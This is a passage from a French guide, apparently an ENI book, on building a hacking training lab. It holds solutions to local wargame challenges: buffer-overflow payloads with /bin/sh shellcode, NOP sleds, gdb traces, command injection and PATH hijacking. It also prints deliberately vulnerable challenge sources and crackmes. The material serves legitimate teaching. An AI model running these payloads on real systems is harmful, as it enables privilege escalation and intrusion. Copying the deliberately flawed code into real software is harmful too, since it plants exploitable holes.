Notre premier challenge est prêt à être utilisé.
Pour l’apprentissage, il est bien sûr préférable d’essayer par soi-même quelques heures sans
aller voir la solution.
Nous nous connectons donc sur la première épreuve :
fasm$ssh level1@adresse_ip_machine
level1
Avant d’exploiter ce programme, il faut comprendre le lien entre le code source, le code
compilé et la mémoire.
Ce code est compilé, puis exécuté.
La compilation du code est effectuée grâce aux commandes gcc vues précédemment.
L’exécution d’un programme, c’est la copie du code compilé en mémoire, puis son exécution.
Les variables initialisées, non initialisées, les allocations mémoire (malloc(), realloc()…) sont
elles aussi copiées en mémoire.
L’exécution, c’est le parcours régulier de la mémoire, vu comme un fil directeur qui indique
quoi faire (lire une variable, écrire une variable, aller ailleurs sur le fil d’exécution, etc.).
Le fil d’exécution est, pour simplifier, l’endroit où doit se rendre le processeur en mémoire
pour exécuter l’instruction suivante.
Dans la mémoire, nous retrouvons plusieurs données, à commencer par le nom du programme
(le fameux argv[0]), et les emplacements des variables, qui sont côte à côte.
Pour avoir plus de détails sur le contenu mémoire, l’exécution ou le langage assembleur, nous
nous reporterons au livre « Sécurité informatique - Ethical Hacking » aux Éditions ENI.
Nous allons reprendre notre première épreuve.
Dans la mémoire, nous avons donc deux variables contiguës, val et buf.
En effet, val et buf sont déclarées l’une en dessous de l’autre dans le programme.
long val=0x41414141;
char buf[20];
buf a 20 octets réservés. Si buf fait plus de 20 octets alors il déborde sur val. Nous n’avons en
effet ici aucun test pour définir si ce que nous allons mettre dans buf est bien inférieur en
longueur à 20 octets. Nous pouvons nous rendre compte facilement de ce comportement en
donnant 22 fois la lettre « a » minuscule lors du lancement de ce programme (a vaut 0x61 en
notation hexadécimale).
Nous constatons que la variable val contient deux 41 et deux 61 prouvant bien qu’il est
possible de modifier une variable sans la manipuler directement. Une variable déborde sur
une autre, c’est donc un « buffer overflow ».
Le but ici pour valider l’épreuve est donc d’arriver à écrire l’adresse 0xdeadbeef en place de
0x41414141. Nous devons effectuer un buffer overflow qui écrasera val.
Les valeurs 0xdeadbeef ne correspondent à aucun caractère imprimable. Nous pouvons
toutefois les envoyer via un « pipe » au programme à l’aide du programme printf (le
programme shell, pas la fonction C) :
Si nous écrivons simplement printf ’AAAAAAAAAAAAAAAAAAAA\xef\ xbe\xad\xde’ |
./level1, nous arrivons en théorie à écraser val avec la valeur voulue mais rien ne se passe, le
shell se termine. Nous devons donc empêcher que le shell ne se ferme et cela est possible
grâce à la commande cat.
level1@vm_bof:/wargame$ (printf
’AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde’; cat) | ./level1
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAïŸÞ
val: 0xdeadbeef
cat /home/level2/.passwd
HP9u76th
ˆD
level1@vm_bof:/wargame$ su - level2
Nous voyons ici le mot de passe pour passer au level suivant (c’est le mot de passe que nous
aurons écrit dans le fichier .passwd de l’utilisateur level2.
level2
Nous avons donc un programme qui va exécuter simplement ce qui est situé dans une variable
d’environnement. Nous allons donc devoir mettre dans une variable d’environnement appelée
ici EGG un « shellcode » que nous pouvons trouver sur le web qui lance un /bin/sh. Cela n’a
rien de bien compliqué par rapport à d’autres challenges que l’on peut trouver.
Voici donc comment l’exploiter.
Pour exploiter ce programme, le shellcode donné par Wikipédia est amplement suffisant
(cherchons grâce à Google « shellcode wikipedia » et nous tomberons sur des shellcodes que
nous pourrons utiliser :
level2@vm_bof:/wargame$ EGG=`printf
’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80\xe8\xdc\xff\xff\xff/bin/sh’`
level2@vm_bof:/wargame$ export EGG
level2@vm_bof:/wargame$ ./level2
Trying to execute EGG!
sh-3.1$ id
uid=1002(level2) gid=1002(level2) euid=1003(level3)
groups=1002(level2)
sh-3.1$ cat /home/level3/.passwd
HHTYgtfr76y
Nous plaçons donc le shellcode dans une variable que nous appelons EGG qu’il faut ensuite
exporter.
Il nous suffit ensuite de lancer le level2.
level3
L’exploitation semble moins simple : nous sommes en présence de la fonction strcpy qui va
dupliquer dans un buffer de taille fixe (128 octets) le contenu de ce qui est passé en argument
au programme, et qui donc peut faire plus de 128 octets.
Nous pouvons donc écraser une partie de la mémoire avec le contenu du buffer, buffer que
nous maîtrisons.
Contrairement à level1 par exemple, aucune variable n’est à remplacer ; nous allons donc
essayer de détourner le flux d’exécution du programme.
Le programme va appeler strcpy, puis faire appel à printf.
Nous allons essayer de détourner le flux du programme en lui faisant appeler autre chose que
le printf initialement prévu.
Voyons concrètement la technique à utiliser ici.
Nous allons comme dans le level2 mettre notre shellcode dans une variable d’environnement,
trouver son adresse en mémoire et l’exécuter à la place du printf.
Pour cela, il ne faut pas que la machine fasse de la « randomization » de mémoire, c’est-à-dire
une attribution d’adresses aléatoires.
Nous allons donc vérifier cela :
level3@vm_bof:/tmp/aaa$ cat /proc/sys/kernel/randomize_va_space
0
La variable randomize_va_space est à 0, ce qui indique que nous n’avons pas de
randomisation.
Nous allons donc réutiliser le shellcode du level2 :
level3@vm_bof:/tmp/aaa$ EGG=`printf
’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80\xe8\xdc\xff\xff\xff/bin/sh’`
level3@vm_bof:/tmp/aaa$ export EGG
Nous pouvons écrire un programme permettant de connaître l’adresse du shellcode. Nous
devons placer ce programme dans le répertoire /tmp, pour lequel nous avons le droit en
écriture.
Voici un programme écrit en C issu du web que nous avons adapté à notre shellcode (surtout à
la variable EGG) :
level3@vm_bof:/tmp/aaa$ cat envenv.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void){
char *p = NULL;
p = getenv("EGG");
printf("@EGG= %p\r\n", p);
return 0;
}
level3@vm_bof:/tmp/aaa$ make envenv
cc envenv.c -o envenv
level3@vm_bof:/tmp/aaa$ /tmp/aaa/envenv
@EGG= 0xbffffc48
Il est nécessaire que le nom du programme calculant l’adresse ait la même longueur que le
programme victime : "/wargame/level3" = "/tmp/aaa/envenv". C’est pourquoi nous mettrons
notre programme dans un répertoire que nous créerons et que nous appellerons aaa et ce dans
/tmp. En effet, ce nom est enregistré dans la mémoire du processus (argv[0]), décalant ainsi
l’adresse de la variable d’environnement.
Nous devons maintenant aller faire un tour du côté du debugger gdb afin de trouver l’adresse
de retour de la fonction strcmpy.
Quelques essais avec gdb (en modifiant le nombre de « a ») donnent la solution :
(gdb) r `python -c "print ’a’*200"`
Starting program: /wargame/level3 `python -c "print ’a’*200"`
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) info reg
eax 0x0 0
ecx 0xb7fe0434 -1208089548
edx 0xb7fe1448 -1208085432
ebx 0xb7fdfff4 -1208090636
esp 0xbffffa10 0xbffffa10
ebp 0x61616161 0x61616161
esi 0x0 0
edi 0xb8000cc0 -1207956288
eip 0x61616161 0x61616161
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
À force de tests, nous observons que l’EIP est écrasé à partir du 140e caractère entré.
L’EIP (Extender Instruction Pointer) est le pointeur d’instruction. Quand une instruction est
en cours d’exécution, EIP contient l’adresse de la prochaine instruction à exécuter.
Le programme échoue ici (SIGSEGV) car nous avons écrasé EIP avec la valeur 0x61616161.
L’adresse du shellcode est à 0xbffffc48, ce qui donne \x48\xfc\xff\xbf car les adresses
s’écrivent à l’envers (l’adressage est de type little endian).
Maintenant que nous avons toutes les informations disponibles, nous pouvons exploiter le
programme :
level3@vm_bof:/tmp/aaa$ /wargame/level3 `python -c "print
’A’*140+’\x48\xfc\xff\xbf’"`
sh-3.1$ cat /home/level4/.passwd
jhR5Drz4r
sh-3.1$ exit
level3@vm-bof:/tmp/aaa$ su - level4
Password:
level4@narnia:~$
strcpy copie le buffer et écrase EIP avec une adresse. Le programme continue sur cette
adresse, contenant un shellcode d’où l’exécution de ce dernier.
level4
Le programme est assez simple à comprendre. Il prend en entrée un fichier de nom ifile et
ayant en file descriptor ifd, et le copie en sortie dans le fichier de nom /dev/null ayant comme
file descriptor ofd.
Nous sommes donc très proches de l’exploitation level1.
Dans la mémoire, nous allons trouver de manière contiguë ifile, qui fait une taille de 32 octets,
et ofile.
Nous pourrons donc écrire plus de 32 octets dans ifile et arriver dans ofile pour l’écraser.
Nous pourrons alors changer le nom du fichier de sortie.
Il faut donc un fichier d’entrée pointant vers le mot de passe de level5 ; nous allons passer par
un lien symbolique qui pointera vers le fichier voulu (.passwd). Ce nom de fichier doit faire
plus de 32 caractères. Les caractères au-delà du trente-deuxième caractère doivent
correspondre d’une part à un fichier existant et d’autre part à un fichier dans lequel level5
peut écrire.
Quelques commandes UNIX permettent d’aboutir au mot de passe sans trop de souci :
level4@vm_bof:/wargame$ cd /tmp
level4@vm_bof:/tmp$ ln -s /home/level5/.passwd
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
level4@vm_bof:/tmp$ touch aaaaaaaa
level4@vm_bof:/tmp$ chmod 666 aaaaaaaa
level4@vm_bof:/tmp$ /wargame/level4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
copied contents of aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa to a
safer place...
(aaaaaaaa)
level4@vm_bof:/tmp$ cat aaaaaaaa
WhT8y75tP
(none)üÿ¿_ñlevel4@vm_bof:/tmp$ su - level5
Nous commençons donc par nous placer dans le répertoire /tmp.
Nous créons ensuite un lien symbolique entre /home/level5/.passwd et un nom de fichier , soit
ici « aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ». Ce fichier fait 32 + 8 octets donc 40 « a
».
Le nom du fichier écrasé dans ofile sera donc « aaaaaaaa ».
Il faut donc créer ce fichier car il doit exister.
Nous le créons grâce à la commande touch et lui donnons les droits en lecture/écriture.
Quand nous exécutons le programme en donnant comme fichier les 40 a, c’est en fait
/home/level5/.passwd qui est le fichier d’entrée et le contenu sera écrit dans le fichier
aaaaaaaa.
Nous pouvons donc lire le contenu de ce fichier qui contiendra le mot de passe du niveau
suivant.
level5
Nous ne pouvons pas ici utiliser de variable d’environnement pour placer notre shellcode
comme dans certaines épreuves précédentes car elles sont toutes écrasées et remplies par des
zéros.
Nous avons une chaîne que l’on maîtrise, argv[1].
Cette chaîne, au-delà d’un certain seuil, va déborder de son buffer. Dans le level3 nous avons
rempli de manière arbitraire la chaîne avec des « a » (ce que l’on appelle le « bourrage ») pour
écraser EIP avec l’adresse de notre variable d’environnement contenant le shellcode.
Il va falloir que nous mettions le shellcode ailleurs que dans une variable d’environnement.
Nous avons suffisamment de place dans la chaîne elle-même !
Le paramètre argv[1] va donc contenir un shellcode, des caractères de bourrage, puis une
adresse pointant vers le shellcode. Cette adresse va écraser EIP, et le shellcode va donc
s’exécuter.
Le but est donc de placer notre shellcode dans l’argument lui-même, de trouver son adresse en
mémoire et de placer cette adresse dans EIP.
argv[1] vaudra donc : shellcode+bourrage+adresse.
Le plus gros problème consiste à trouver l’adresse de ce shellcode.
Nous pouvons plutôt utiliser comme argv[1] : bourrage+shellcode+adresse. Le bourrage étant
par nature arbitraire, nous allons employer des \x90. \x90 en assembleur 8086, c’est le NOP,
c’est-à-dire : « ne fait rien et passe à l’instruction suivante ».
Cette instruction NOP est très fréquemment utilisée dans les shellcode afin d’avoir une plage
d’adresse utilisable au lieu d’avoir exactement l’adresse du shellcode.
L’exécution enchaînera les NOP jusqu’à exécuter notre shellcode.
Nous devons donc trouver la taille de NOP(s)+shellcode+adresse afin d’écraser et de
remplacer l’adresse contenue dans EIP par la nôtre. gdb va nous y aider :
level5@vm_bof:/wargame$ ./level5 `python -c "print ’a’*200"`
Segmentation fault
level5@vm_bof:/wargame$ ./level5 `python -c "print ’a’*128"`
Segmentation fault
level5@vm_bof:/wargame$ ./level5 `python -c "print ’a’*100"`
level5@vm_bof:/wargame$ ./level5 `python -c "print ’a’*120"`
level5@vm_bof:/wargame$ ./level5 `python -c "print ’a’*124"`
Illegal instruction
level5@vm_bof:/wargame$
Nous commençons donc, par tâtonnements, par essayer de trouver ce nombre.
Nous écrasons donc à 124, vérifié par :
level5@vm_bof:/wargame$ gdb /wargame/level5
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License,
and you are welcome to change it and/or distribute copies of
it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i486-linux-gnu"...Using host
libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) run `python -c "print ’a’*124+’AAAA’"`
Starting program: /wargame/level5 `python -c "print ’a’*124+’AAAA’"`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Nous voyons ici que le programme essaie de retourner à l’adresse 0x41414141 qui ne
correspond à rien d’où l’erreur « Segmentation fault ».
Si maintenant nous regardons le contenu des registres, nous obtenons :
(gdb) info reg
eax 0x0 0
ecx 0xfffffe07 -505
edx 0xbffffc4a -1073742774
ebx 0xb7fdfff4 -1208090636
esp 0xbffffa50 0xbffffa50
ebp 0x61616161 0x61616161
esi 0x0 0
edi 0xb8000cc0 -1207956288
eip 0x41414141 0x41414141
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
Nous avons bien nos « a » (\x61 dans EBP) et nos « A » (\x41 dans EIP).
Nous pouvons de plus regarder vers quelle adresse se situe notre argv[1].
L’inconvénient est que cette adresse ne correspondra pas à l’adresse du programme lancé sans
gdb. En effet, gdb lui aussi est en mémoire et décale donc l’ensemble des adresses du
programme (la véritable adresse sera donc supérieure en valeur).
Nous allons observer la RAM pour avoir notre première approximation :
(gdb) x/60x $esp-180
0xbffff99c: 0x0804850f 0xbffff9d0 0xbffffbc9 0x00000021
0xbffff9ac: 0x00003638 0x00000000 0x00000000 0x00000000
0xbffff9bc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff9cc: 0x00000011 0x61616161 0x61616161 0x61616161
0xbffff9dc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff9ec: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff9fc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa0c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa1c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa2c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa3c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa4c: 0x41414141 0x00000000 0xbffffac4 0xbffffad0
0xbffffa5c: 0x00000000 0xb7fdfff4 0x00000000 0xb8000cc0
0xbffffa6c: 0xbffffa98 0xbffffa50 0xb7ec7e6d 0x00000000
0xbffffa7c: 0x00000000 0x00000000 0xb7ff6090 0xb7ec7ded
Donc vers 0xbffff9dc, nous arrivons dans argv[1].
Nous pouvons donc construire notre argv[1]. La taille complète doit faire 128 octets. Le
shellcode trouvé sur Wikipédia fait 45 octets. La chaîne est construite avec :
79xNOP+Shellcode+adresse (sur 4 octets)=128 octets.
Nous allons donc tenter différentes adresses.
La première adresse que nous allons tenter sera 0xbffff9dc, cette dernière ne fonctionnera
vraisemblablement pas, sauf si gdb a décalé moins de 79 octets, nombre qui correspond à nos
NOP. Ensuite, nous allons tenter la même adresse plus 79 octets, plus 79 octets une seconde
fois, etc. jusqu’à tomber sur nos NOP (79 en décimal correspond à 0x4f en hexadécimal) :
0xbffff9dc+0x4f=0xBFFFFA2B puis BFFFFA7A puis BFFFFB18 puis etc.
level5@vm_bof:/wargame$ ./level5 `python -c "print
’\x90’*79+’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\
xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\
xcd\x80\xe8\xdc\xff\xff\xff’+’/bin/sh’+’\xdc\xf9\xff\xbf’"`
Segmentation fault
level5@vm_bof:/wargame$ ./level5 `python -c "print
’\x90’*79+’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\
xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\
xcd\x80\xe8\xdc\xff\xff\xff’+’/bin/sh’+’\x2b\xfa\xff\xbf’"`
sh-3.1$ cat /home/level6/.passwd
Bg8htOO96
sh-3.1$ exit
level5@vm_bof:/wargame$ su - level6
Password:
level6@vm_bof:~$
La première erreur de segmentation (segfault) est attendue. Ensuite, nous avançons de 79
octets et nous arrivons quelque part dans les NOP, ce qui nous montre bien l’efficacité de
mettre les NOP avant le shellcode. Si le shellcode était en première position, nous aurions dû
monter les adresses octet par octet pour trouver la bonne adresse.
Conditions générales d'utilisation
Copyright - ©Editions ENI
Accueil Précédent
[email protected] Livres gratuits
Hacking - Un labo virtuel pour auditer et mettre en place des contre-mesures
Sommaire
Informations générales o Titre, auteur...
Introduction o Introduction
Proxmox o Présentation o Installation o Configuration o Conclusion
Machines virtuelles et services o Introduction o Serveur DHCP o OpenVPN o Serveur FTP o Serveur web o Serveur Asterisk o Nagios o Conclusion
Mise en place des épreuves o Introduction o Création de cinq épreuves applicatives o Création de cinq épreuves logiques o Création d'épreuves crakme o Création des épreuves web
Plateformes d’entraînement Le matériel indispensable
Création de cinq épreuves logiques
La méthode est la même que précédemment. Nous devons d’abord créer une nouvelle
machine virtuelle puis créer les utilisateurs, le dossier /wargame et donner les droits aux
fichiers qui suivent.
1. Épreuve level1
La création de la première épreuve est simple : nous créons un fichier dans /home/level1 qui
se nommera .backup et dans lequel nous inscrirons le mot de passe de level2.
2. Épreuve level2
Le fichier level2.c est :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define _GNU_SOURCE
#include <unistd.h>
#define COMMAND "/bin/cat "
#define MAX_SIZE 100
void secure( char * str[] )
{
char * replace;
unsigned int i;
char dangerous[] = "#&;`’\"*?<>ˆ()[]{}$,\t\n ";
/* No absolute path */
while( *str[0] == ’/’ )
{
(*str)++;
}
/* No directory traversal */
while( (replace = strstr(*str, "../")) )
{
replace[1] = ’/’;
}
/* No shell special chars */
for( i=0; i<strlen(dangerous); i++ )
{
while( (replace = strchr(*str, dangerous[i])) )
{
replace[0] = ’_’;
}
}
}
int main( int argc, char ** argv )
{
char mycat[ strlen(COMMAND) + MAX_SIZE + 1 ] = {0};
setresuid(geteuid(),geteuid(),geteuid());
if( argc < 2 )
{
printf( "Usage : %s <file>\n", argv[0] );
exit(1);
}
if( strlen(argv[1]) > MAX_SIZE )
{
printf( "Nom de fichier trop long !\n");
exit(1);
}
secure( &argv[1] );
sprintf(mycat, "%s%s", COMMAND, argv[1]);
system( mycat );
return 0;
}
3. Épreuve level3
Le fichier level3.c est :
#include <stdlib.h>
#include <stdio.h>
int main(){
system("ls /home/level4/.passwd");
return 0;
}
4. Épreuve level4
Le fichier level4.c est :
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define PASSFILE "/home/level5/.passwd"
#define MAX_SIZE 100
int main( int argc, char ** argv )
{
FILE * f;
char password[ MAX_SIZE + 1 ] = {0};
if( argc < 2 || (f = fopen(PASSFILE, "r")) == NULL || fgets(password,
MAX_SIZE, f) == NULL )
{
printf("he non !.\n");
exit(1);
}
if( strncmp( argv[1], password, MAX_SIZE ) == 0 )
{
printf("Excellent ! =)\n");
}
}
5. Épreuve level5
Le fichier level5.c est :
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define SIZE 50
#define CMD "/bin/cat /home/level6/.passwd"
int main()
{
char * buff1 = malloc(SIZE);
char * buff2 = malloc(SIZE);
if( buff1 == NULL || buff2 == NULL )
{
puts("Allocation memoire invalide.");
return 1;
}
gets( buff1 );
free( buff1 );
if( strcmp(buff2, "RMLL2011") == 0 )
{
puts("Bien :)");
system( CMD );
}
else
{
puts("Essai encore...");
}
free(buff2);
return 0;
6. Solution des épreuves
level1
Le mot de passe est dans /home/level1/.backup.
level2
./level2 "|sh"
whoami
level3
cat /home/level3/.passwd
Nous remarquons en effectuant différents tests que level2 acceptant des arguments, nous
pouvons placer un pipe ( | ) comme argument et donc ensuite un shell, sh par exemple qui
nous fait de suite devenir level3.
De ce fait, nous pouvons aller lire le mot de passe de level3.
level3
Pour exploiter ce niveau, nous allons recréer une commande ls dans le répertoire /tmp.
Dans ce nouveau fichier ls, nous inscrirons ce que nous voulons faire, c’est-à-dire
cat /home/level4/.passwd.
Nous donnerons ensuite tous les droits (777) à ce fichier ls.
Pour terminer, nous mettrons dans le PATH le chemin de ce nouveau ls.
Il nous reste à lancer level3. Le système ira d’abord chercher un ls dans le PATH et exécutera
notre ls à la place du ls système et exécutera donc son contenu soit le cat
/home/level4/.passwd.
cat > /tmp/ls
cat /home/level4/.passwd
chmod 777 /tmp/ls
export PATH="/tmp:$PATH"
./level3
level4
Ce qu’il fallait remarquer ici, c’est l’absence de return dans le main.
Nous désassemblons pour voir ce qu’il se passe.
(gdb) disass main
0x08048565 <main+225>: mov DWORD PTR [esp+0x4],eax
0x08048569 <main+229>: mov DWORD PTR [esp],edx
0x0804856c <main+232>: call 0x80483b0 <strncmp@plt>
0x08048571 <main+237>: test eax,eax
0x08048573 <main+239>: jne 0x8048581 <main+253>
0x08048575 <main+241>: mov DWORD PTR [esp],0x804866d
0x0804857c <main+248>: call 0x80483a0 <puts@plt>
0x08048581 <main+253>: add esp,0x90
0x08048587 <main+259>: pop ecx
0x08048588 <main+260>: pop edi
0x08048589 <main+261>: pop ebp
0x0804858a <main+262>: lea esp,[ecx-0x4]
0x0804858d <main+265>: ret
Nous remarquons alors que le résultat de la fonction strncmp est laissé dans eax et retourné
par ret. En regardant le manuel de strncmp, nous pouvons voir que les fonctions strcmp() et
strncmp() renvoient un entier inférieur, égal ou supérieur à zéro si s1 (ou ses n premiers
octets) est respectivement inférieure, égale ou supérieure à s2.
Nous pouvons alors caractère par caractère déduire le mot de passe lu via le code de retour du
programme.
Voici un script qui réalise cette opération :
#!/bin/bash
charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234
56789"
code=`perl -e "print ord(’z’)"`
pass=""
for i in `seq 16`
do
test="${pass}z"
/home/basic7/passtest "$test"
retcode=`echo $?`
var="`expr $code - $retcode`"
var="`perl -e "print chr("$var")"`"
pass="${pass}${var}"
done
echo $pass
Nous lançons le script et nous obtenons le mot de passe.
basic8@wargame:/tmp/.elz$ sh test.sh
level5
Pour commencer l’étude de cette épreuve, nous allons donner des arguments au binaire level5
(58 octets).
Nous voyons un message d’erreur qui s’affiche dans gdb.
fasm@moya:~$ python -c "print ’A’*58" | ./level5
*** glibc detected *** ./basic10: free(): invalid next size (fast):
0x0804a008 ***
======= Backtrace: =========
/lib/i686/cmov/libc.so.6[0xb7ef0764]
/lib/i686/cmov/libc.so.6(cfree+0x96)[0xb7ef2966]
./basic10[0x804850a]
/lib/i686/cmov/libc.so.6(__libc_start_main+0xe5)[0xb7e98455]
./basic10[0x8048411]
Nous allons maintenant désassembler le programme.
(gdb) disass main
(...)
0x08048505 <main+97>: call 0x80483ac <free@plt>
(...)
Nous retrouvons en main+97 la fonction free qui était la cause de l’arrêt du programme.
Nous plaçons un point d’arrêt. Nous relançons ensuite le programme (r) et nous allons
examiner le contenu de la pile (x/x $esp).
Le contenu de esp est l’adresse 0x0804a008, nous allons donc voir à cette adresse.
(gdb) b *main+97
Breakpoint 1 at 0x8048505
(gdb) r
Starting program: /home/basic10/basic10 AAAA
AAAA
Breakpoint 1, 0x08048505 in main ()
Current language: auto; currently asm
(gdb) x/x $esp
0xbffff8a0: 0x0804a008
(gdb) x/x 0x0804a008
0x804a008: 0x41414141
Nous avons à cette adresse 0x41414141, nous écrasons donc EIP.
Si nous soustrayons 4 et vérifions le contenu de cette adresse, nous avons 0x39. Nous
pouvons donc écrire notre exploit.
(gdb) x/x 0x0804a008-4
0x804a004: 0x00000039
fasm@moya:~$ python -c "import struct; print ’AAAA’*13 +
struct.pack(’<I’,0x00000039) + ’RMLL2011’" | ./level5
Conditions générales d'utilisation
Copyright - ©Editions ENI
Accueil Précédent
[email protected] Livres gratuits
Hacking - Un labo virtuel pour auditer et mettre en place des contre-mesures
Sommaire
Informations générales o Titre, auteur...
Introduction o Introduction
Proxmox o Présentation o Installation o Configuration o Conclusion
Machines virtuelles et services o Introduction o Serveur DHCP o OpenVPN o Serveur FTP o Serveur web o Serveur Asterisk o Nagios o Conclusion
Mise en place des épreuves o Introduction o Création de cinq épreuves applicatives o Création de cinq épreuves logiques o Création d'épreuves crakme o Création des épreuves web
Plateformes d’entraînement Le matériel indispensable
Création d’épreuves crakme
D’après Wikipédia : « Un crackme (littéralement "cracke-moi") est un petit programme
destiné à tester les capacités en rétro-ingénierie d’un programmeur. Le but typique d’un
crackme est d’être modifié afin que la routine d’enregistrement de celui-ci fonctionne dans
tous les cas.
Les crackmes (et implicitement les schémas de protections qu’ils utilisent) sont tantôt
programmés et vus soit comme de simples jeux, soit comme de réels entraînements destinés à
enlever des protections logicielles commerciales. »
Nous allons vous montrer ici quelques exemples de crackme que nous pourrons mettre en
téléchargement, par exemple sur le serveur FTP que nous avons créé au chapitre Machines
virtuelles et services.
1. Crackme 1
Un crackme peut être écrit en n’importe quel langage compilé. Nous utiliserons le langage C.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/* Declaration des constantes */
#define PASSWORD "Mirobolant"
#define SHELL "/bin/bash"
#define MSG "\033[1;31mStarting Root Shell ...Le Pass est
F.scAW8A9jRmk \033[0m\n"
int main (int nb_arg, char *argv[]) {
/* Si nous n’avons pas au moins un argument en paramètre */
if (nb_arg != 2) {
fprintf(stderr,"Segmentation Fault\n");
exit(1);
}
if (strcmp(PASSWORD, argv[1]) == 0) {
fprintf(stdout,MSG);
setuid(0);
setgid(0);
system(SHELL);
return(0);
} else {
fprintf(stderr,"Segmentation Fault\n");
exit(1);
}
}
Nous enregistrerons ce programme sous un fichier nommé crackme1.c.
Nous devons compiler ce programme et nous ne fournirons, bien sûr, que le binaire et non le
programme source.
fasm#gcc -m32 -o crackme1 crackme1.c
fasm#chmod +x crackme1
fasm#chmod +s crackme1
2. Épreuve crackme2
Le fichier crackme2.c est le suivant :
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
int strcmp(const char *s1, const char *s2) {
int ret = 0;
srand(time(NULL));
int r = rand();
while (!(ret = *(unsigned char *) s1 - *(unsigned char *)
s2) && *s2) {
++s1;
++s2;
int i;
for (i = 0;i < r % 5000; i++){
float j= i % 10 ;
}
}
if (ret < 0)
ret = -1;
else if (ret > 0)
ret = 1 ;
return ret;
}
int main(int argc, char* argv[]){
if (!
strcmp(argv[1],"446476db4b7111d2a2b1c48217ceaa4d7ac28db4c3a68a513
97289c94d6c19fc3854d793cd9a71b4febd783ddfb4649a3d6cc77234c90036c0
570250ca60709f")){
printf("sKTqUx0rfTsWk\n");
return 1;
}
return 0;
}
3. Solution crackme
a. Crackme1
Nous lançons donc gdb afin de désassembler le programme crackme :
fasm#gdb crackme1
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Nous voyons ici que, avant le strcmp, quelque chose à l’adresse 0x80486dc est chargé dans
esp.
Allons donc voir à cette adresse :
Nous voyons que le mot « Mirobolant » est chargé. Testons-le.
Le problème est donc résolu.
b. Solution crackme2
La solution ici est identique à la précédente, la clé n’étant plus une chaîne de caractères mais
un nombre.
4. D’autres crackmes
Nous pourrons trouver sur Internet une multitude de crackmes disponibles que nous pourrons
mettre à disposition sur notre serveur FTP.
Nous pourrons aussi en créer nous-mêmes si nous nous en sentons capables soit en C, en C++,
en assembleur... suivant nos goûts et envies...
Seule votre imagination pourra vous limiter dans leur création.
Création des épreuves web
1. Préparation du serveur
Au chapitre Machines virtuelles et services, nous avons vu l’ensemble des fichiers de
configuration du serveur Apache. Nous avons travaillé sur un nouveau fichier « nouveau_host
» pour vous montrer une configuration possible avec des sous-domaines. Pour la
simplification de l’écriture des épreuves et pour éviter d’être dans un environnement qui
nécessite un DNS, nous allons prendre un fichier de configuration de base. Entrons dans notre
serveur Proxmox, activons la machine WEB1 et copions le fichier de configuration par défaut.
root@bt:~# ssh [email protected]
[email protected]’s password:
Linux proxmox 2.6.32-19-pve #1 SMP Mon Mar 18 06:41:32 CET 2013
x86_64
The programs included with the Debian GNU/Linux system are free
software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Apr 6 10:42:07 2013
root@proxmox:~# vzctl start 100
Starting container ...
Container is mounted
Setting CPU units: 1000
Setting CPUs: 1
Configure veth devices: veth100.0
Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100
Container start in progress...
root@proxmox:~# vzctl enter 100
entered into CT 100
root@WEB1:/# cp /etc/apache2/sites-available/default
/etc/apache2/sites-available/conf1
root@WEB1:/#
Si nous voulons travailler à plusieurs sur des épreuves web différentes, il peut être intéressant
d’avoir chacun son dossier personnel contenant un répertoire www. Il faut alors faire pointer
la racine du serveur Apache sur ce dossier. Comme expliqué au chapitre Installation des
machines virtuelles et des services nécessaires, en travaillant avec des sous-domaines, nous
